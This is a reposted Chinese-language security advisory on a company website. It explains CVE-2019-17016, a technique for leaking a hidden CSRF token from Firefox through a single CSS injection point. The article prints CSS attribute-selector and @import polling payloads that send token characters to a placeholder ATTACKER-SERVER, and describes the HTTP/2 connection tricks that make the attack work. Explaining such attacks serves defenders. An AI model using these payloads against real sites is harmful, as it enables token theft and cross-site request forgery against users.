网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2019-17016 Firefox浏览器漏洞:使用单个注入点提取CSS数据

文章来源:重庆网络安全 发布时间:2020-03-16 17:40:03 围观次数:
分享到:

摘要:Firefox浏览器中发现了一个安全漏洞。此漏洞为CVE-2019-17016。在分析此安全漏洞时发现了一种新技术,该技术使用单个注入点从Firefox浏览器中提取CSS数据。

  Firefox浏览器中发现了一个安全漏洞。此漏洞为CVE-2019-17016。在分析此安全漏洞时发现了一种新技术,该技术使用单个注入点从Firefox浏览器中提取CSS数据。


基本和现有技术


  在我们的演示示例中,假设我们想在<input>元素中获取CSRF令牌:

 <input type="hidden" name="csrftoken" value="SOME_VALUE">

 可能是由于内容安全策略,我们无法使用脚本来实现此目的,因此我们尝试查找基于样式的注入点。通常,我们选择使用属性选择器:

input[name='csrftoken'][value^='a'] {

  background: url(//ATTACKER-SERVER/leak/a);

}

input[name='csrftoken'][value^='b'] {

  background: url(//ATTACKER-SERVER/leak/b);

}

...

input[name='csrftoken'][value^='z'] {

  background: url(//ATTACKER-SERVER/leak/z);

}

 如果在此处部署CSS规则,则攻击者可以获取HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,该样式表需要包含被盗的第一个字符:

input[name='csrftoken'][value^='aa'] {

  background: url(//ATTACKER-SERVER/leak/aa);

}

input[name='csrftoken'][value^='ab'] {

  background: url(//ATTACKER-SERVER/leak/ab);

}

...

input[name='csrftoken'][value^='az'] {

  background: url(//ATTACKER-SERVER/leak/az);

}

  此时,攻击者需要在目标页面中重新加载<iframe>以提供后续样式表。

  在2018年,Pepe Vila提供了递归导入CSS的功能,以在Chrome浏览器中实现单注入点利用技术。在2019年,Nathanial Lattimer(@d0nutptr)提出了一种基于该技术的新的改进解决方案。本文中的这项技术更适合Fir

efox浏览器的情况。

  在第一次注入中,我们需要使用很多import:

@import url(//ATTACKER-SERVER/polling?len=0);

@import url(//ATTACKER-SERVER/polling?len=1);

@import url(//ATTACKER-SERVER/polling?len=2);

...

该技术的工作原理如下:

  首先,只有第一个@import会在开始时返回样式表,其他语句处于连接阻塞状态。此时,第一个@import返回目标样式表,其中包含令牌的第一个字符。接下来,当泄漏的第一个令牌到达攻击者的服务器端ATTACKER-SERV

ER时,第二个@import将停止阻止并返回包含令牌第一个字符的样式表,然后尝试获取第二个字符。最后,当第二个泄漏的字符到达攻击者的服务器端攻击服务器时,第三个@import将停止阻止...依此类推。

  该技术之所以有效,是因为Chrome将异步处理@import,因此当任何@import停止阻止时,Chrome会立即解析该语句并将其应用于执行。

  Firefox和样式表处理

  与Chrome相比,Firefox处理样式表的方式完全不同。首先,Firefox同步处理样式表。因此,当样式表中有多个@import时,仅在所有@import处理完毕后才应用CSS规则。例如:

<style>

   @import '/polling/0';

   @import '/polling/1';

   @import '/polling/2';

   </style>

  假设当第一个@import返回CSS规则时,页面背景将设置为蓝色,随后的@import将处于阻塞状态。该页面在Chrome中立即变为蓝色,但在Firefox中什么也没有发生。

  此时,我们可以将所有@import放在单独的<style>元素中:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

 在上面的代码中,Firefox将分别处理所有样式表。此时,Firefox中的页面将立即变为蓝色,其他@imports将在后台处理。

  但是这里还有另一个问题,例如我们想要窃取包含10个字符的令牌:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

...

<style>@import '/polling/10';</style>

 Firefox将立即将10个@imports排队。在处理完第一个@import之后,Firefox将使另一个带有已知字符的请求排队。问题是该请求被追加到该行的末尾。默认情况下,浏览器只能与同一服务器建立六个并发链接。因此,具有已知字符的请求将永远不会到达目标服务器,因为该服务器已经具有六个阻塞链接,此时将发生死锁。


解决方案

  六个并发链接的限制由TCP层确定,因此单个服务器只能同时具有六个TCP链接。HTTP/2的优点之一是它通过单个链接支持多个HTTP请求(即,多路复用),从而大大提高了网络性能。

  但是,Firefox对单个HTTP/2连接的并发请求数也有限制。默认限制为100。如果需要使用更多并发链接,则需要使用其他主机名进行设置,并强制Firefox创建第一个TCP链接。

  例如,如果我们创建100个对https://localhost:3000的请求,然后创建50个对https://127.0.0.1:3000的请求,则Firefox将创建两个TCP链接。

  技术的运用

  技术使用场景如下:

  1.该代码是基于HTTP / 2实现的;

  2.“/polling/:session/:index”节点将返回CSS并泄漏“:index”字符。 在前一个请求成功泄漏“:indx

-1”字符之前,该请求将被阻止。其中,“:session”路径参数用于区分多种攻击。

  3.通过“/leak/:session/:value”节点获得完整的令牌,其中“:value”是获得的完整令牌值。

  4.为了强制Firefox启动到同一服务器的两个TCP链接,此处使用了两个节点,https://localhost:3000和https://127.0.0.1:3000。

  5.使用“/generate”节点生成示例代码。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2019-17016 Firefox浏览器漏洞 单个注入点 提取CSS 网络安全公司

上一篇:CVE-2020-9373栈溢出漏洞分析:存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。
下一篇:CVE-2019-19781漏洞分析:Citrix ADC和Citrix Gateway远程执行代码(RCE)高风险漏洞,Citrix设备的入侵控制以及对内网资源访问获取

热门资讯

鼠标向下滚动